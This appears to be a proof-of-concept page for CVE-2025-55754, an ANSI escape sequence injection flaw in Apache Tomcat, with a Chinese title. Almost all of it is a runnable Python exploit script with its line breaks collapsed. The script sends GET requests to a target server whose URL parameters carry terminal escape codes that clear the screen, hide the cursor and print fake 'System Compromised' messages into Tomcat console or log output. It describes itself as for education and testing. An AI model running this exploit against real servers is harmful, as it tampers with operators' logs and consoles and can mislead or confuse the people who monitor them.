Apache Tomcat ANSI转义序列注入漏洞 (CVE-2025-55754)

import requests import sys def exploit_cve_2025_55754(target_url): """ CVE-2025-55754 PoC - Apache Tomcat ANSI Escape Sequence Injection This PoC demonstrates how an attacker can inject ANSI escape sequences through URL parameters to manipulate the Tomcat console output. Note: This is for educational and security testing purposes only. """ # ANSI escape sequences for terminal manipulation # ESC[2J - Clear screen # ESC[?25l - Hide cursor # ESC[?25h - Show cursor # ESC[0m - Reset attributes ansi_sequences = { 'clear_screen': '\x1b[2J', 'hide_cursor': '\x1b[?25l', 'show_cursor': '\x1b[?25h', 'reset': '\x1b[0m', 'bold': '\x1b[1m', 'red_text': '\x1b[31m', 'green_text': '\x1b[32m' } # Construct malicious URL with ANSI escape sequences # Attackers can inject these sequences through various URL parameters malicious_params = [ f"param1={ansi_sequences['clear_screen']}{ansi_sequences['hide_cursor']}MALICIOUS_OUTPUT", f"param2={ansi_sequences['red_text']}WARNING: System Compromised{ansi_sequences['reset']}", f"username={ansi_sequences['bold']}admin{ansi_sequences['reset']}" ] print("[*] CVE-2025-55754 - Apache Tomcat ANSI Escape Sequence Injection") print(f"[*] Target: {target_url}") print("[*] Sending malicious request with ANSI escape sequences...") for param in malicious_params: try: target = f"{target_url}?{param}" response = requests.get(target, timeout=10) print(f"[+] Sent payload: {param[:50]}...") print(f"[+] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Attack completed. Check Tomcat logs for injected sequences.") if __name__ == "__main__": if len(sys.argv) > 1: exploit_cve_2025_55754(sys.argv[1]) else: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://vulnerable-tomcat-server:8080/index.jsp")